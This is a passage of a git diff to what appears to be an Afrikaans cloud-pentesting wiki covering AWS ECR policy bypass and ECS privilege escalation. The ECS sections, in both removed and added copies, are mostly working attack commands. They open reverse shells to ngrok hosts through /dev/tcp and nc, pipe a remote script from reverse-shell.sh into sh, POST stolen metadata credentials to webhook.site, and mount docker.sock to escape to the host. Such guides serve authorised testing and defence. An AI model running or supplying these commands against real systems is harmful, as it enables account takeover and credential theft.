+Demo (us-east-1, upstream public.ecr.aws) +```bash +REGION=us-east-1 +ACCT=$(aws sts get-caller-identity --query Account --output text) + +# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix) +aws ecr create-pull-through-cache-rule \ +--region "$REGION" \ +--ecr-repository-prefix ROOT \ +--upstream-registry-url public.ecr.aws + +# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation) +aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com + +# Example using an official mirror path hosted in ECR Public +# (public.ecr.aws/docker/library/alpine:latest) +docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest + +# 3) Verify repo and image now exist without any push +aws ecr describe-repositories --region "$REGION" \ +--query "repositories[?repositoryName==docker/library/alpine]" +aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED + +# 4) Cleanup +aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT +aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true +``` +
+ +### `ecr:PutAccountSetting` (Verlaag `REGISTRY_POLICY_SCOPE` om registry policy denies te omseil) + +Misbruik `ecr:PutAccountSetting` om die registry policy-skop te verander van `V2` (beleid van toepassing op alle ECR-aksies) na `V1` (beleid slegs van toepassing op `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). As 'n beperkende registry policy Deny aksies soos `CreatePullThroughCacheRule` blokkeer, verwyder die afgraderings na `V1` daardie afdwinging sodat identity‑policy Allows in werking tree. + +- Vereiste perms: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`. +- Impak: Vermoë om ECR-aksies wat voorheen deur 'n registry policy Deny geblokkeer is (bv. om PTC-reëls te skep) uit te voer deur tydelik die scope op `V1` te stel. + +Stappe (voorbeeld): + +
+Omseil registry policy Deny op CreatePullThroughCacheRule deur na V1 te skakel +```bash +REGION=us-east-1 +ACCT=$(aws sts get-caller-identity --query Account --output text) + +# 0) Snapshot current scope/policy (for restore) +aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true +aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json + +# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION +cat > /tmp/deny-ptc.json <<'JSON' +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "DenyPTCAll", +"Effect": "Deny", +"Principal": "*", +"Action": ["ecr:CreatePullThroughCacheRule"], +"Resource": "*" +} +] +} +JSON +aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION + +# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny) +set +e +aws ecr create-pull-through-cache-rule \ +--region $REGION \ +--ecr-repository-prefix ptc-deny-test \ +--upstream-registry-url public.ecr.aws +RC=$? +set -e +if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi + +# 3) Downgrade scope to V1 and retry (should SUCCEED now) +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION +aws ecr create-pull-through-cache-rule \ +--region $REGION \ +--ecr-repository-prefix ptc-deny-test \ +--upstream-registry-url public.ecr.aws + +# 4) Verify rule exists +aws ecr describe-pull-through-cache-rules --region $REGION \ +--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']" + +# 5) Cleanup and restore +aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true +if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then +jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt +aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt +else +aws ecr delete-registry-policy --region $REGION || true +fi +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION +``` +
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md deleted file mode 100644 index e3bf10a27..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ /dev/null @@ -1,327 +0,0 @@ -# AWS - ECS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Meer **inligting oor ECS** in: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` - -'n Aanvaller wat misbruik maak van die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemmings in ECS kan **'n nuwe task definition genereer** met 'n **kwaadwillige container** wat die metadata-aanmeldbewyse steel en dit **uitvoer**. - -{{#tabs }} -{{#tab name="Reverse Shell" }} -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---requires-compatibilities "[\"FARGATE\"]" \ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" - -# Run task definition -aws ecs run-task --task-definition iam_exfiltration \ ---cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ ---launch-type FARGATE \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 -``` -{{#endtab }} - -{{#tab name="Webhook" }} - -Skep 'n webhook met 'n site soos webhook.site -```bash - -# Create file container-definition.json -[ -{ -"name": "exfil_creds", -"image": "python:latest", -"entryPoint": ["sh", "-c"], -"command": [ -"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" -] -} -] - -# Run task definition, uploading the .json file -aws ecs register-task-definition \ ---family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 \ ---memory 512 \ ---requires-compatibilities FARGATE \ ---container-definitions file://container-definition.json - -# Check the webhook for a response - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 - -``` -{{#endtab }} - -{{#endtabs }} - -**Potential Impact:** Direkte privesc na 'n ander ECS role. - -### `iam:PassRole`,`ecs:RunTask` -'n Aanvaller wat `iam:PassRole` en `ecs:RunTask` toestemmings het, kan 'n nuwe ECS task begin met gewysigde **execution role**, **task role** en die container se **command** waardes. Die `ecs run-task` CLI-opdrag bevat die `--overrides` vlag wat toelaat om tydens uitvoering die `executionRoleArn`, `taskRoleArn` en die container se `command` te verander sonder om die task definition aan te raak. - -Die gespesifiseerde IAM-rolle vir `taskRoleArn` en `executionRoleArn` moet in hul trust policy toelaat dat hulle deur `ecs-tasks.amazonaws.com` aangeneem kan word. - -Die aanvaller moet ook weet: -- ECS cluster name -- VPC Subnet -- Security group (If no security group is specified the default one will be used) -- Task Definition Name and revision -- Name of the Container -```bash -aws ecs run-task \ ---cluster \ ---launch-type FARGATE \ ---network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ ---task-definition \ ---overrides ' -{ -"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"containerOverrides": [ -{ -"name": , -"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] -} -] -}' -``` -In die kodefragmens hierbo oorskryf 'n aanvaller slegs die `taskRoleArn`-waarde. Die aanvaller moet egter die `iam:PassRole`-toestemming hê oor die `taskRoleArn` wat in die opdrag gespesifiseer is en die `executionRoleArn` wat in die taakdefinisie gespesifiseer is, sodat die aanval kan plaasvind. - -As die IAM role wat die aanvaller kan deurgee genoeg bevoegdhede het om 'n ECR image te pull en die ECS taak te begin (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) kan die aanvaller dieselfde IAM role spesifiseer vir beide `executionRoleArn` en `taskRoleArn` in die `ecs run-task` opdrag. -```sh -aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' -{ -"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"containerOverrides": [ -{ -"name": "", -"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] -} -] -}' -``` -**Potensiële Impak:** Direkte privesc na enige ECS task role. - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` - -Soos in die vorige voorbeeld kan 'n aanvaller wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissies in ECS **'n nuwe task definition genereer** met 'n **kwaadwillige container** wat die metadata credentials steel en **dit laat loop**.\ -Echter, in hierdie geval moet 'n container instance beskikbaar wees om die kwaadwillige task definition uit te voer. -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" - -aws ecs start-task --task-definition iam_exfiltration \ ---container-instances - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 -``` -**Potensiële impak:** Direkte privesc na enige ECS-rol. - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` - -Net soos in die vorige voorbeeld kan 'n aanvaller wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** of **`ecs:CreateService`** permissies in ECS **'n nuwe taakdefinisie genereer** met 'n **kwaadwillige container** wat die metadata-credentials steel en **dit uitvoer deur 'n nuwe service te skep met ten minste 1 taak wat uitgevoer word.** -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn "$ECS_ROLE_ARN" \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---requires-compatibilities "[\"FARGATE\"]" \ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" - -# Run the task creating a service -aws ecs create-service --service-name exfiltration \ ---task-definition iam_exfiltration \ ---desired-count 1 \ ---cluster "$CLUSTER_ARN" \ ---launch-type FARGATE \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" - -# Run the task updating a service -aws ecs update-service --cluster \ ---service \ ---task-definition -``` -**Potential Impact:** Direkte privesc na enige ECS-rol. - -### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` - -Eintlik net met daardie toestemmings is dit moontlik om overrides te gebruik om willekeurige kommando's in 'n container met 'n willekeurige rol uit te voer met iets soos: -```bash -aws ecs run-task \ ---task-definition "" \ ---overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ ---cluster \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" -``` -**Potensiële impak:** Direkte privesc na enige ECS-rol. - -### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** - -Hierdie scenario is soos die vorige, maar **sonder** die **`iam:PassRole`** toestemming.\ -Dit is steeds interessant omdat as jy 'n ewekansige container kan laat loop, selfs al is dit sonder 'n rol, jy 'n **geprivilegieerde container kan laat loop om na die node te ontsnap** en die **EC2 IAM-rol kan steel** en die **ander ECS-containerrolle** wat op die node loop.\ -Jy kan selfs **ander take dwing om binne die EC2-instansie te loop** wat jy kompromiteer om hul inloginligting te steel (soos bespreek in die [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)). - -> [!WARNING] -> Hierdie aanval is slegs moontlik as die **ECS-kluster EC2-instansies gebruik** en nie Fargate nie. -```bash -printf '[ -{ -"name":"exfil_creds", -"image":"python:latest", -"entryPoint":["sh", "-c"], -"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], -"mountPoints": [ -{ -"readOnly": false, -"containerPath": "/var/run/docker.sock", -"sourceVolume": "docker-socket" -} -] -} -]' > /tmp/task.json - -printf '[ -{ -"name": "docker-socket", -"host": { -"sourcePath": "/var/run/docker.sock" -} -} -]' > /tmp/volumes.json - - -aws ecs register-task-definition --family iam_exfiltration \ ---cpu 256 --memory 512 \ ---requires-compatibilities '["EC2"]' \ ---container-definitions file:///tmp/task.json \ ---volumes file:///tmp/volumes.json - - -aws ecs run-task --task-definition iam_exfiltration \ ---cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ ---launch-type EC2 - -# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell -``` -### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** - -'n aanvaller met die **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kan **opdragte uitvoer** binne 'n lopende container en die daaraan gekoppelde IAM-rol eksfiltreer (jy het die describe-permissies nodig omdat dit nodig is om `aws ecs execute-command` te laat loop).\ -Om dit te doen moet die container-instansie egter die **ExecuteCommand agent** laat loop (wat standaard nie die geval is nie). - -Daarom kan die aanvaller probeer om: - -- **Probeer 'n opdrag in elke lopende container uit te voer** -```bash -# List enableExecuteCommand on each task -for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do -echo "Cluster $cluster" -for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do -echo " Task $task" -# If true, it's your lucky day -aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand -done -done - -# Execute a shell in a container -aws ecs execute-command --interactive \ ---command "sh" \ ---cluster "$CLUSTER_ARN" \ ---task "$TASK_ARN" -``` -- As hy **`ecs:RunTask`** het, voer 'n taak uit met `aws ecs run-task --enable-execute-command [...]` -- As hy **`ecs:StartTask`** het, voer 'n taak uit met `aws ecs start-task --enable-execute-command [...]` -- As hy **`ecs:CreateService`** het, skep 'n service met `aws ecs create-service --enable-execute-command [...]` -- As hy **`ecs:UpdateService`** het, werk 'n service by met `aws ecs update-service --enable-execute-command [...]` - -Jy kan **voorbeelde van daardie opsies** vind in **vorige ECS privesc-afdelings**. - -**Potensiële impak:** Privesc na 'n ander rol wat aan kontainers gekoppel is. - -### `ssm:StartSession` - -Kyk in die **ssm privesc bladsy** hoe jy hierdie toestemming kan misbruik om **privesc na ECS**: - -{{#ref}} -aws-ssm-privesc.md -{{#endref}} - -### `iam:PassRole`, `ec2:RunInstances` - -Kyk in die **ec2 privesc bladsy** hoe jy hierdie toestemmings kan misbruik om **privesc na ECS**: - -{{#ref}} -aws-ec2-privesc.md -{{#endref}} - -### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` - -'n Aanvaller met hierdie toestemmings kan moontlik 'n EC2-instans in 'n ECS-kluster registreer en take daarop laat loop. Dit kan die aanvaller toelaat om arbitrêre kode uit te voer binne die konteks van die ECS-take. - -- TODO: Is dit moontlik om 'n instans vanaf 'n ander AWS-rekening te registreer sodat take op masjiene wat deur die aanvaller beheer word uitgevoer word?? - -### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` - -> [!NOTE] -> TODO: Toets dit - -'n Aanvaller met die toestemmings `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, en `ecs:DescribeTaskSets` kan **'n kwaadwillige task set vir 'n bestaande ECS service skep en die primêre task set opdateer**. Dit laat die aanvaller toe om **arbitrêre kode binne die diens uit te voer**. -```bash -# Register a task definition with a reverse shell -echo '{ -"family": "malicious-task", -"containerDefinitions": [ -{ -"name": "malicious-container", -"image": "alpine", -"command": [ -"sh", -"-c", -"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" -] -} -] -}' > malicious-task-definition.json - -aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json - -# Create a malicious task set for the existing service -aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}" - -# Update the primary task set for the service -aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id -``` -**Potensiële impak**: Voer willekeurige kode uit in die geraakte diens, wat moontlik sy funksionaliteit beïnvloed of exfiltrating sensitive data. - -## Verwysings - -- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md new file mode 100644 index 000000000..daf060415 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md @@ -0,0 +1,549 @@ +# AWS - ECS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Meer **inligting oor ECS** in: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` + +'n aanvaller wat misbruik maak van die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemming in ECS kan **'n nuwe taakdefinisie genereer** met 'n **kwaadaardige container** wat die metadata-inlogbesonderhede steel en **dit uitvoer**. + +{{#tabs }} +{{#tab name="Reverse Shell" }} +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" + +# Run task definition +aws ecs run-task --task-definition iam_exfiltration \ +--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 +``` +{{#endtab }} + +{{#tab name="Webhook" }} + +Skep 'n webhook met 'n webwerf soos webhook.site +```bash + +# Create file container-definition.json +[ +{ +"name": "exfil_creds", +"image": "python:latest", +"entryPoint": ["sh", "-c"], +"command": [ +"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" +] +} +] + +# Run task definition, uploading the .json file +aws ecs register-task-definition \ +--family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 \ +--memory 512 \ +--requires-compatibilities FARGATE \ +--container-definitions file://container-definition.json + +# Check the webhook for a response + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 + +``` +{{#endtab }} + +{{#endtabs }} + +**Potential Impact:** Direkte privesc na 'n ander ECS rol. + +### `iam:PassRole`,`ecs:RunTask` +’n aanvaller wat `iam:PassRole` en `ecs:RunTask` toestemmings het, kan ’n nuwe ECS taak begin met gewijzigde **execution role**, **task role** en die houer se **command** waardes. Die `ecs run-task` CLI-opdrag bevat die `--overrides` vlag wat dit toelaat om tydens runtime die `executionRoleArn`, `taskRoleArn` en die houer se `command` te verander sonder om die taakdefinisie aan te raak. + +Die gespesifiseerde IAM-rolle vir `taskRoleArn` en `executionRoleArn` moet in hul trust policy toelaat dat hulle deur die `ecs-tasks.amazonaws.com` aangeneem word. + +Verder moet die aanvaller die volgende weet: +- ECS cluster naam +- VPC Subnet +- Security group (indien geen Security group gespesifiseer is, sal die standaard een gebruik word) +- Task Definition naam en revisie +- Naam van die Container +```bash +aws ecs run-task \ +--cluster \ +--launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ +--task-definition \ +--overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": , +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +In die code snippet hierbo oorskryf 'n attacker slegs die `taskRoleArn`-waarde. Die attacker moet egter `iam:PassRole` toestemming hê oor die `taskRoleArn` wat in die opdrag gespesifiseer is en die `executionRoleArn` wat in die taakdefinisie gespesifiseer is om die attack te laat plaasvind. + +As die IAM role wat die attacker kan deurgee voldoende bevoegdhede het om die ECR image te pull en die ECS task te begin (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) dan kan die attacker dieselfde IAM role vir beide `executionRoleArn` en `taskRoleArn` in die `ecs run-task` opdrag spesifiseer. +```sh +aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": "", +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +**Potential Impact:** Direkte privesc na enige ECS taakrol. + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` + +Net soos in die vorige voorbeeld kan 'n aanvaller wat die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissies in ECS misbruik, **'n nuwe task definition genereer** met 'n **kwaadwillige container** wat die metadata-inlogbewyse steel en **dit uitvoer**.\ +Echter, in hierdie geval moet 'n container instance beskikbaar wees om die kwaadwillige task definition uit te voer. +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" + +aws ecs start-task --task-definition iam_exfiltration \ +--container-instances + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 +``` +**Potential Impact:** Direkte privesc na enige ECS rol. + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` + +Net soos in die vorige voorbeeld kan 'n aanvaller wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** of **`ecs:CreateService`** permissies in ECS **'n nuwe task definition genereer** met 'n **malicious container** wat die metadata credentials steel en **dit laat loop deur 'n nuwe service te skep met ten minste 1 task wat hardloop.** +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn "$ECS_ROLE_ARN" \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" + +# Run the task creating a service +aws ecs create-service --service-name exfiltration \ +--task-definition iam_exfiltration \ +--desired-count 1 \ +--cluster "$CLUSTER_ARN" \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" + +# Run the task updating a service +aws ecs update-service --cluster \ +--service \ +--task-definition +``` +**Potential Impact:** Direkte privesc na enige ECS role. + +### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`) + +In werklikheid, net met daardie toestemmings is dit moontlik om overrides te gebruik om arbitrêre opdragte in 'n container uit te voer met 'n arbitrêre role met iets soos: +```bash +aws ecs run-task \ +--task-definition "" \ +--overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ +--cluster \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" +``` +**Potensiële impak:** Direkte privesc na enige ECS-rol. + +### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** + +Hierdie scenario is soos die vorige, maar **sonder** die **`iam:PassRole`** toestemming.\ +Dit bly interessant omdat as jy 'n ewekansige container kan laat loop, selfs al is dit sonder 'n rol, kan jy **run a privileged container to escape** na die node en **steal the EC2 IAM role** en die **other ECS containers roles** wat op die node loop.\ +Jy kan selfs **force other tasks to run inside the EC2 instance** wat jy kompromitteer om hul credentials te steel (soos bespreek in die [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)). + +> [!WARNING] +> Hierdie aanval is slegs moontlik as die **ECS cluster is using EC2** instances en nie Fargate nie. +```bash +printf '[ +{ +"name":"exfil_creds", +"image":"python:latest", +"entryPoint":["sh", "-c"], +"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], +"mountPoints": [ +{ +"readOnly": false, +"containerPath": "/var/run/docker.sock", +"sourceVolume": "docker-socket" +} +] +} +]' > /tmp/task.json + +printf '[ +{ +"name": "docker-socket", +"host": { +"sourcePath": "/var/run/docker.sock" +} +} +]' > /tmp/volumes.json + + +aws ecs register-task-definition --family iam_exfiltration \ +--cpu 256 --memory 512 \ +--requires-compatibilities '["EC2"]' \ +--container-definitions file:///tmp/task.json \ +--volumes file:///tmp/volumes.json + + +aws ecs run-task --task-definition iam_exfiltration \ +--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ +--launch-type EC2 + +# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell +``` +### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** + +'n Aanvaller met die **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kan **opdragte uitvoer** binne 'n lopende container en exfiltrate die IAM-rol wat daaraan gekoppel is (jy benodig die describe permissions omdat dit nodig is om `aws ecs execute-command` te run).\ +Maar, om dit te doen, moet die container instance die **ExecuteCommand agent** laat loop (wat standaard nie so is nie). + +Daarom kan die aanvaller probeer om: + +- **Probeer om 'n opdrag uit te voer** in elke lopende container +```bash +# List enableExecuteCommand on each task +for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do +echo "Cluster $cluster" +for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do +echo " Task $task" +# If true, it's your lucky day +aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand +done +done + +# Execute a shell in a container +aws ecs execute-command --interactive \ +--command "sh" \ +--cluster "$CLUSTER_ARN" \ +--task "$TASK_ARN" +``` +- As hy **`ecs:RunTask`** het, voer 'n taak uit met `aws ecs run-task --enable-execute-command [...]` +- As hy 